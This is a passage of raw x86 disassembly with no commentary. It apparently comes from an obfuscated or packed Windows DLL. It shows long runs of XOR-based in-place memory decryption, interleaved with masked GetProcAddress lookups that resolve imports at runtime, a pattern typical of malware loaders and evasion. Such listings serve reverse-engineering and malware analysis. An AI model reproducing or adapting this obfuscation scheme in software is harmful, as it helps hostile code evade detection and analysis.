mov dword [0x10106ae8], eax
mov eax, dword [0x10105abc]
add eax, 0x566976d9
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29150]
add eax, 0xf940
xor eax, dword [ecx]
xor eax, 0xdccc358c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4950]
add eax, 0x263a0
xor eax, dword [ecx]
xor eax, 0xdcceaf6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa5a9]
add eax, 0xa5688
xor eax, dword [ecx]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4084]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x91f6]
add eax, 0x27cb8
xor eax, dword [ecx]
xor eax, 0xdcceb074
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33a6c]
add eax, 0xa4bac
xor eax, dword [ecx]
xor eax, 0xdcc68760
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb79c]
add eax, 0xa5a20
xor eax, dword [ecx]
xor eax, 0xdcc696ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b8a3]
add eax, 0xa5530
xor eax, dword [ecx]
xor eax, 0xdcc699fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbc5d]
add eax, 0x202e0
xor eax, dword [ecx]
xor eax, 0xdccece2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xad9b]
add eax, 0x27b44
xor eax, dword [ecx]
xor eax, 0xdcceb788
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20280
mov dword [esp + 0x10], eax
push 0x10107bce
push dword [esp + 0x28]
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107593
xor ecx, 0xcccf9dc0
mov dword [eax], ecx
mov eax, dword [0x101062e4]
add eax, 0x18505602
mov dword [esp + 0x24], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x155e]
add eax, 0x24c60
xor eax, dword [ecx]
push ebp
xor eax, 0xdcce80ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fc8]
add eax, 0x23978
xor eax, dword [ecx]
xor eax, 0xdccef5b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb1b7]
add eax, 0x24a9c
xor eax, dword [ecx]
xor eax, 0xdcce8650
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2585c]
add eax, 0xf070
xor eax, dword [ecx]
xor eax, 0xdccc3cbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32e84]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cdd6]
add eax, 0x1cf00
xor eax, dword [ecx]
xor eax, 0xdccd03cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bfd7]
add eax, 0xa5554
xor eax, dword [ecx]
xor eax, 0xdcc69998
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33df0]
add eax, 0xa929
xor eax, dword [ecx]
xor eax, 0xdccc65e5
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x330c4]
add eax, 0x330c8
xor eax, dword [ecx]
xor eax, 0xdccffc04
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200a8
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8718
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14b0]
add eax, 0x1471
xor eax, dword [ecx]
xor eax, 0xdcccd8bd
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa5bf]
add eax, 0xa5a04
xor eax, dword [ecx]
xor eax, 0xdcc696c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1778f]
add eax, 0x17894
xor eax, dword [ecx]
xor eax, 0xdccdb458
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9d0c]
add eax, 0xa49bc
xor eax, dword [ecx]
xor eax, 0xdcc68570
mov dword [ecx], eax
mov eax, dword [0x10105368]
and eax, dword [0x10106ae8]
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14611]
add eax, 0x20e14
xor eax, dword [ecx]
xor eax, 0xdccec2d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19d56]
add eax, 0xa8fb4
xor eax, dword [ecx]
xor eax, 0xdcc64378
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f24]
add eax, 0x202c0
xor eax, dword [ecx]
xor eax, 0xdccece0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13fdd]
add eax, 0x202cc
xor eax, dword [ecx]
xor eax, 0xdccece00
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x104c6]
add eax, 0x2025c
xor eax, dword [ecx]
xor eax, 0xdccece90
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25528]
add eax, 0x2dd0
xor eax, dword [ecx]
xor eax, 0xdccce11c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6545]
add eax, 0x20214
xor eax, dword [ecx]
xor eax, 0xdcceced8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33408]
add eax, 0x33080
xor eax, dword [ecx]
xor eax, 0xdccffc4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cb23]
add eax, 0x33dc8
xor eax, dword [ecx]
xor eax, 0xdccff104
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4308]
add eax, 0x267c4
xor eax, dword [ecx]
xor eax, 0xdcceab08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3426c]
add eax, 0x1f790
xor eax, dword [ecx]
mov edx, 0xdccc8e5c
xor eax, 0xdccd3b5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xeaeb]
add eax, 0x29014
xor eax, dword [ecx]
xor eax, 0xdcce5cd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, 0x18505602
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x24018]
add eax, 0x23eac
xor eax, dword [ecx]
xor eax, 0xdccef260
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32ab4]
add eax, 0x4290
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10103e60]
xor eax, 0x21cce3e5
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2577c]
add eax, 0x4290
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3424c]
add eax, 0x3422c
xor eax, dword [ecx]
xor eax, 0xdccf8ee0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9a13]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18581]
add eax, 0xa4c18
xor eax, dword [ecx]
xor eax, 0xdcc680d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33fa4]
add eax, 0x1f580
xor eax, dword [ecx]
xor eax, 0xdccd394c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b10]
add eax, 0x2499c
xor eax, dword [ecx]
xor eax, 0xdcce8550
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x107a7]
add eax, 0x200a0
xor eax, dword [ecx]
xor eax, 0xdccecc6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5160]
add eax, 0x20090
xor eax, dword [ecx]
xor eax, 0xdccecc5c
mov dword [ecx], eax
mov eax, 0x59b7d9f2
sub eax, dword [0x101062e0]
push 0x101074df
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x183b1]
add eax, 0x23270
xor eax, dword [ecx]
push ebp
xor eax, 0xdccefebc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, 0x323829dc
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0xa419c]
add eax, 0x7d358
xor eax, dword [ecx]
xor eax, 0xdccb1f94
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2007c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf87c8
mov dword [eax], ecx
mov ecx, dword [0x10105368]
mov eax, dword [0x10103e64]
imul eax, ecx
mov dword [esp + 0x14], eax
mov eax, dword [0x10105abc]
or eax, ecx
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11e52]
add eax, 0x324b8
xor eax, dword [ecx]
xor eax, 0xdccfe874
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c90]
add eax, 0x2735c
xor eax, dword [ecx]
xor eax, 0xdccebf90
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x332f8]
add eax, 0x33308
xor eax, dword [ecx]
xor eax, 0xdccfffc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4248]
add eax, 0x268fc
xor eax, dword [ecx]
xor eax, 0xdccea430
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33634]
add eax, 0x336f4
xor eax, dword [ecx]
xor eax, 0xdccffa38
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1742]
add eax, 0x202bc
xor eax, dword [ecx]
xor eax, 0xdccece70
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370f4]
add eax, 0x313f0
xor eax, dword [ecx]
xor eax, 0xdccfdf3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32cf4]
add eax, 0x36d40
xor eax, dword [ecx]
xor eax, 0xdccfa18c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9df4]
add eax, 0xa49bc
xor eax, dword [ecx]
push 0x10107e3f
xor eax, 0xdcc68570
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5581]
push dword [esp + 0x34]
add eax, 0xa59f4
xor eax, dword [ecx]
xor eax, 0xdcc69538
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33484]
add eax, 0x33488
xor eax, dword [ecx]
xor eax, 0xdccff844
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20024
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9f42
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32974]
add eax, 0x13530
xor eax, dword [ecx]
xor eax, 0xdccdf9fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33070]
add eax, 0x3309c
xor eax, dword [ecx]
xor eax, 0xdccffc50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb10d]
add eax, 0x27f3c
xor eax, dword [ecx]
xor eax, 0xdcceb3f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [esp + 0x14]
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x370b4]
add eax, 0x31ef8
xor eax, dword [ecx]
xor eax, 0xdccfd234
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37084]
add eax, 0x31ee8
xor eax, dword [ecx]
xor eax, 0xdccfd224
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x101062e0]
add ecx, eax
mov dword [0x10105368], ecx
lea ecx, [eax + 0x184f1]
add eax, 0x20128
xor eax, dword [ecx]
xor eax, 0xdccecde4
mov dword [ecx], eax
mov eax, dword [0x101062e4]
xor eax, dword [esp + 0x20]
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36f4c]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3efc]
add eax, 0x69248
xor eax, dword [ecx]
push 0x10107b1a
xor eax, 0xdcca5e84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4110]
add eax, 0x26b58
xor eax, dword [ecx]
push ebp
xor eax, 0xdccea794
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19e76]
add eax, 0x36310
xor eax, dword [ecx]
xor eax, 0xdccfafdc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10511]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x256fc]
add eax, 0x3ec0
xor eax, dword [ecx]
xor eax, 0xdcccf20c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20208
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x101076b2
xor ecx, 0xcccf94d2
mov dword [eax], ecx
mov eax, dword [0x10107300]
sub dword [0x10103e60], ebp
lea ecx, [eax + 0x1cea0]
add eax, 0x1cecc
xor eax, dword [ecx]
push ebp
xor eax, 0xdccd0200
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa867]
add eax, 0xa59b0
xor eax, dword [ecx]
xor eax, 0xdcc6957c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11575]
add eax, 0x20100
xor eax, dword [ecx]
xor eax, 0xdccecdcc
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200f4
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf81e8
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x51d9]
add eax, 0x20090
xor eax, dword [ecx]
xor eax, 0xdccecc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32af4]
add eax, 0x14060
xor eax, dword [ecx]
mov dword [esp + 0x10], 0x4e4
xor eax, 0xdccd8cac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb673]
add eax, 0x202e0
xor eax, dword [ecx]
xor eax, 0xdccece2c
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
mov ecx, dword [esp + 0x14]
add eax, ecx
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x194ee]
add eax, 0x203b0
xor eax, dword [ecx]
xor eax, 0xdccecf7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3bd0]
add eax, 0x274f8
xor eax, dword [ecx]
xor eax, 0xdcceb834
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x106c4]
add eax, 0x2016c
xor eax, dword [ecx]
xor eax, 0xdccecda0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24040]
add eax, 0x23e84
xor eax, dword [ecx]
xor eax, 0xdccef248
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c743]
add eax, 0xa8fbc
xor eax, dword [ecx]
xor eax, 0xdcc64370
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19873]
add eax, 0xa4bf4
xor eax, dword [ecx]
xor eax, 0xdcc68738
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa48c]
add eax, 0xa5688
xor eax, dword [ecx]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17e0e]
add eax, 0xa90e8
xor eax, dword [ecx]
xor eax, 0xdcc65c24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa48a8]
add eax, 0x2631c
xor eax, dword [ecx]
xor eax, 0xdcceafd0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2b47]
add eax, 0xa7b14
xor eax, dword [ecx]
xor eax, 0xdcc6b7d8
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10103e64]
push dword [0x10105368]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x10038fb1
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1daa4]
add eax, 0x36bb0
xor eax, dword [ecx]
push 0x101078b1
xor eax, 0xdccfa77c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x333a0]
add eax, 0x32fa8
xor eax, dword [ecx]
push ebp
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa482c]
add eax, 0x9a300
xor eax, dword [ecx]
xor eax, 0xdcc56fcc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15944]
add eax, 0x14acc
xor eax, dword [ecx]
xor eax, 0xdccd8600
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4dc9]
add eax, 0x25b08
xor eax, dword [ecx]
xor eax, 0xdcce97c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x105b0]
add eax, 0xa5a34
xor eax, dword [ecx]
xor eax, 0xdcc696f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12255]
add eax, 0x202c0
xor eax, dword [ecx]
xor eax, 0xdccece0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32f6c]
add eax, 0x32f70
xor eax, dword [ecx]
xor eax, 0xdccfe3bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20174
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107dba
push dword [esp + 0x34]
xor ecx, 0xcccf8340
mov dword [eax], ecx
mov eax, dword [0x10107300]
add eax, 0x20000
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9e38
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x146dd]
add eax, 0x20dcc
xor eax, dword [ecx]
xor eax, 0xdccec100
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254d4]
add eax, 0x31e0
xor eax, dword [ecx]
xor eax, 0xdcccfd2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7f68]
add eax, 0x7f01
xor eax, dword [ecx]
mov edx, dword [esp + 0x14]
xor eax, 0xdcccb3cd
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16aac]
add eax, 0x21008
xor eax, dword [ecx]
xor eax, 0xdccedcc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x58cf]
add eax, 0x2007c
xor eax, dword [ecx]
xor eax, 0xdcceccb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf41d]
add eax, 0xa5a34
xor eax, dword [ecx]
xor eax, 0xdcc696f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x279e]
add eax, 0x252b0
xor eax, dword [ecx]
xor eax, 0xdcce9e7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a84]
add eax, 0x13d20
xor eax, dword [ecx]
xor eax, 0xdccdf1ec
mov dword [ecx], eax
mov eax, dword [0x10103e64]
sub eax, edx
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24090]
add eax, 0x23d60
xor eax, dword [ecx]
xor eax, 0xdccef1ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3303c]
add eax, 0x33054
xor eax, dword [ecx]
xor eax, 0xdccffc98
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37108]
add eax, 0x30b78
xor eax, dword [ecx]
xor eax, 0xdccfc7b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
or dword [0x10103e60], 0x79e28e3d
mov ecx, eax
sub ecx, edx
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x1117]
add eax, 0x24aa0
xor eax, dword [ecx]
xor eax, 0xdcce866c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa7ed]
add eax, 0xa59cc
xor eax, dword [ecx]
xor eax, 0xdcc69500
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2aea]
add eax, 0xa5ad0
xor eax, dword [ecx]
xor eax, 0xdcc6961c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b70]
add eax, 0x275ac
xor eax, dword [ecx]
push 7
xor eax, 0xdcceb960
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4a7]
add eax, 0xa5a0c
xor eax, dword [ecx]
push dword [esp + 0x44]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7de6]
add eax, 0x33f68
xor eax, dword [ecx]
xor eax, 0xdccff3a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25714]
add eax, 0x3bd0
xor eax, dword [ecx]
xor eax, 0xdcccf71c
mov dword [ecx], eax
mov eax, dword [0x10103e64]
imul eax, edx
mov dword [esp + 0x1c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa460c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa0ed]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11a29]
add eax, 0x20334
xor eax, dword [ecx]
xor eax, 0xdccecff8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax - 0x4b2845e2]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x8de8]
add eax, 0x20018
xor eax, dword [ecx]
xor eax, 0xdcceccd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12609]
add eax, 0x24ce4
xor eax, dword [ecx]
xor eax, 0xdcce8028
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20210
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x10], 0x40d
xor ecx, 0x4ccccccb
mov dword [eax], ecx
push dword [0x10107300]
push dword [0x10106ae8]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x10039399
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1594c]
add eax, 0x14bbd
xor eax, dword [ecx]
xor eax, 0xdccd8771
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32e30]
add eax, 0x32e38
xor eax, dword [ecx]
xor eax, 0xdccfe2f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3700c]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3651c]
add eax, 0x24688
xor eax, dword [ecx]
xor eax, 0xdcce8a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, 0x96af09b9
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x13f92]
add eax, 0x202d0
xor eax, dword [ecx]
xor eax, 0xdccece1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3fd8]
add eax, 0x26dc8
xor eax, dword [ecx]
xor eax, 0xdccea104
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36530]
add eax, 0x36450
xor eax, dword [ecx]
xor eax, 0xdccfa89c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3fc0]
add eax, 0x26e0c
xor eax, dword [ecx]
xor eax, 0xdccea2c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254f0]
add eax, 0x2fc0
xor eax, dword [ecx]
xor eax, 0xdccce30c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17b37]
add eax, 0xa508c
xor eax, dword [ecx]
xor eax, 0xdcc69c40
mov dword [ecx], eax
mov ecx, dword [0x10103e64]
sub ecx, dword [0x10106ae8]
mov eax, dword [0x10107300]
mov dword [0x101062e4], eax
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x5117]
add eax, 0x20140
xor eax, dword [ecx]
xor eax, 0xdccecd8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa40b]
add eax, 0xa5688
xor eax, dword [ecx]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11d26]
add eax, 0x34030
xor eax, dword [ecx]
mov dword [esp + 0x10], 0x2b2
xor eax, 0xdccf8cfc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32eec]
add eax, 0x36e6c
xor eax, dword [ecx]
xor eax, 0xdccfa2a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa42c4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4020]
add eax, 0x26d1c
xor eax, dword [ecx]
xor eax, 0xdccea1d0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f60]
add eax, 0x26f00
xor eax, dword [ecx]
xor eax, 0xdccea3cc
mov dword [ecx], eax
push dword [0x10107300]
push dword [esp + 0x18]
push dword [esp + 0x1c]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x1003958b
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bc3a]
add eax, 0x36960
xor eax, dword [ecx]
push 0x10107eb9
xor eax, 0xdccfa5ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11bf5]
add eax, 0x2021c
xor eax, dword [ecx]
push dword [esp + 0x34]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa44fc]
add eax, 0x8bd10
xor eax, dword [ecx]
xor eax, 0xdcc471dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x120cd]
add eax, 0x202cc
xor eax, dword [ecx]
xor eax, 0xdccece00
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x63fe]
add eax, 0x2575c
xor eax, dword [ecx]
xor eax, 0xdcce9b90
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x101062e4]
add ecx, eax
add eax, 0x20040
mov dword [0x10105abc], ecx
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf98d0
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x264f]
add eax, 0x2526c
xor eax, dword [ecx]
xor eax, 0xdcce9ea0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa41d0]
add eax, 0x269e4
xor eax, dword [ecx]
xor eax, 0xdccea528
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
sub ecx, dword [0x10103e60]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x1cd10]
add eax, 0x1cd20
xor eax, dword [ecx]
xor eax, 0xdccd01ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36e4c]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a8e8]
add eax, 0xa8fb4
xor eax, dword [ecx]
xor eax, 0xdcc64378
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9624]
add eax, 0x20030
xor eax, dword [ecx]
xor eax, 0xdcceccfc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbdd3]
add eax, 0x200b4
xor eax, dword [ecx]
xor eax, 0xdccecc78
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d50]
add eax, 0x2722c
